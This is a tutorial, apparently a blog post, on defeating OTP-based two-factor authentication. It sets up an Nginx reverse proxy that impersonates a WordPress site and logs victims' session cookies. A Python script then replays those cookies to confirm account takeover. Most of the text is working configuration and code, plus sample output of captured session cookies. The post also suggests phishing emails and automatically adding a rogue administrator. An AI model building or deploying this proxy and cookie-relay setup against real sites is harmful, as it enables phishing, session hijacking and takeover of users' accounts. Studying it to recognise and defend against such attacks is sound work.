Bypassing Multi Factor Authentication

Many websites now offer two factor authentication (2FA) to help combat Phishing attacks. Often this is implemented through usage of a One Time Password (OTP) authentication code generated by a mobile application.

Using an Nginx server as a reverse proxy, we can configure a website that masquerades as our target website. When the victim logs into our site using their credentials and OTP token, the users session token is recorded allowing us to take over their account.

Reverse Proxy Configuration

Nginx has issues with logging multiple Set-Cookie headers. There are a couple of ways of addressing this. We could install LUA scripting support and parse that output, but I find outputting JSON is easier to parse. As such, make sure you have the Nginx Javascript module installed;

sudo apt install libnginx-mod-http-js

Create /etc/nginx/headers.js with the following contents;

function headers_json(r) {
  return JSON.stringify(r.headersIn)
}

export default {headers_json};

Next, edit /etc/nginx/nginx.conf to enable the module;

user www-data;
worker_processes auto;
pid /run/nginx.pid;
error_log /var/log/nginx/error.log;
include /etc/nginx/modules-enabled/*.conf;

events {
        worker_connections 768;
}

http {
        js_import headers.js;
        js_set $headers_json headers.headers_json;

        sendfile on;
        tcp_nopush on;
        types_hash_max_size 2048;
        include /etc/nginx/mime.types;
        default_type application/octet-stream;
        ssl_protocols TLSv1 TLSv1.1 TLSv1.2 TLSv1.3;
        ssl_prefer_server_ciphers on;
        access_log /var/log/nginx/access.log;
        gzip on;

        include /etc/nginx/conf.d/*.conf;
        include /etc/nginx/sites-enabled/*;
}

Finally, edit /etc/nginx/sites-enabled/default to configure the proxy pass-through and logging;

log_format wp_captured  escape=json '$remote_addr'
                                    '\t$remote_user'
                                    '\t$time_local'
                                    '\t$request'
                                    '\t$status'
                                    '\t$headers_json'
                                    '\t$request_body';

server {
        listen 80 default_server;
        listen 443 ssl default_server;
        gzip_static off;

        ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem;
        ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key;

        location / {

                proxy_set_header Accept-Encoding "";
                proxy_pass http://wordpress.local;
                include proxy_params;
                sub_filter_once off;
                sub_filter 'http://wordpress.local' 'http://$host';
                access_log  /var/log/nginx/wp_captured.log  wp_captured;
        }

}

With the server configured, we would then need to send our victim user an email asking them to login to our attacker site. When they login, they will authenticate using their 2FA application as usual.

The users session cookies are then logged to /var/log/nginx/wp_captured.log on the server.


Parsing the Logs

At this point, we have captured the users session cookie. The problem we have is many applications will force a user to be logged out after a certain period of inactivity. Because of this, we need to ensure we monitor the incoming session cookies are start using them. This can be done with the following Python code;

import json,requests,os,time,threading
from colorama import Fore,Back,Style
from datetime import datetime

cookie_jar = []

target_cookie = 'wordpress_logged_in'           # Checks to ensure cookie includes this string
target_url = 'http://wordpress.local/wp-admin/' # Where to relay the cookies to
poll_interval = 15                              # Time between checking if cookies are valid


def make_http_request(cookie_string):
    session = requests.session()
    http_url = target_url 
    http_headers = {"Host": "attacker.local", "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Referer": "http://wordpress.local/wp-login.php", "Cookie" : cookie_string}
    response = session.get(http_url, headers=http_headers)
    if ('Welcome to your WordPress' in response.text):
        return True
    else:
        return False

def parse_log(line):
    log_array = line.split('\t')
    if (len(log_array) > 4):
        cookie_entry = log_array[5]
        decoded_cookie = cookie_entry.encode('UTF-8').decode('unicode_escape')
        cookie_data = json.loads(decoded_cookie)
        if ("Cookie" in cookie_data):
            if (target_cookie in cookie_data["Cookie"]):
                if (cookie_data["Cookie"] not in cookie_jar):
                    print(get_date_time() + " Adding new cookie")
                    cookie_jar.append(cookie_data["Cookie"]) 

def get_date_time():
    now = datetime.now()
    dt_string = now.strftime("%d/%m/%Y %H:%M:%S")
    return dt_string

def tail_log(thefile):
    thefile.seek(0, os.SEEK_END)
    while True:
        line = thefile.readline()
        if not line:
            time.sleep(0.1)
            continue
        yield line

def check_cookies():
    while True:
        time.sleep(poll_interval)
        print(get_date_time() + " Checking cookies: " + str(len(cookie_jar)) + " in jar." )
        for cookie in cookie_jar:
            auth_response = make_http_request(cookie)
            if auth_response == True:
                print(get_date_time() + Fore.GREEN +  " AUTHENTICATED: " + Style.RESET_ALL + cookie)
            else:
                print(get_date_time() + " Invalid cookie. Removing from jar.")
                cookie_jar.remove(cookie)

if __name__ == '__main__':
    logfile = open("/var/log/nginx/wp_captured.log","r")
    loglines = tail_log(logfile)

    t1 = threading.Thread(target=check_cookies)
    t1.start()

    for line in loglines:
        parse_log(line)

If we leave the script running we can see an authentication cookie has been captured, and it’s verified this cookie has logged into the target website successfully;

python3 parse_json_logs.py
28/09/2023 17:57:53 Checking cookies: 0 in jar.
28/09/2023 17:57:56 Adding new cookie
28/09/2023 17:57:56 Adding new cookie
28/09/2023 17:57:56 Adding new cookie
28/09/2023 17:58:08 Checking cookies: 3 in jar.
28/09/2023 17:58:08 AUTHENTICATED: wordpress_897cca0b2f6f011e8c297e588bf5bd94=user%7C1696082207%7Cet2FnKppesSrpv4Rpb7VbyPLRLgkdF1xvnAr48cyA1v%7C181eacad78230f355be1c81d9552f68ab03fba14d216a05551cb4b48a0ac23bd; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_897cca0b2f6f011e8c297e588bf5bd94=user%7C1696082207%7Cet2FnKppesSrpv4Rpb7VbyPLRLgkdF1xvnAr48cyA1v%7Cd5f8cdb98c1b9640ec689e809fdb4f9737e018d8d0f5786a81386b9e39551280

Pasting the cookie values into your browser will then allow you to take control of the users session. This concept could be extended further by setting the code to perform an action automatically, such as adding a new administrative user under our control.

In Conclusion

Irrespective of the authentication mechanisms used, if session tokens can be captured this can be used for account takeover.

However, it should be noted that OTP based authentication is still better than just prompting the user on a mobile device. If the user is only required to acknowledge a notification, adversaries can keep issuing authentication requests until the target user accepts. This is known as an MFA fatigue attack.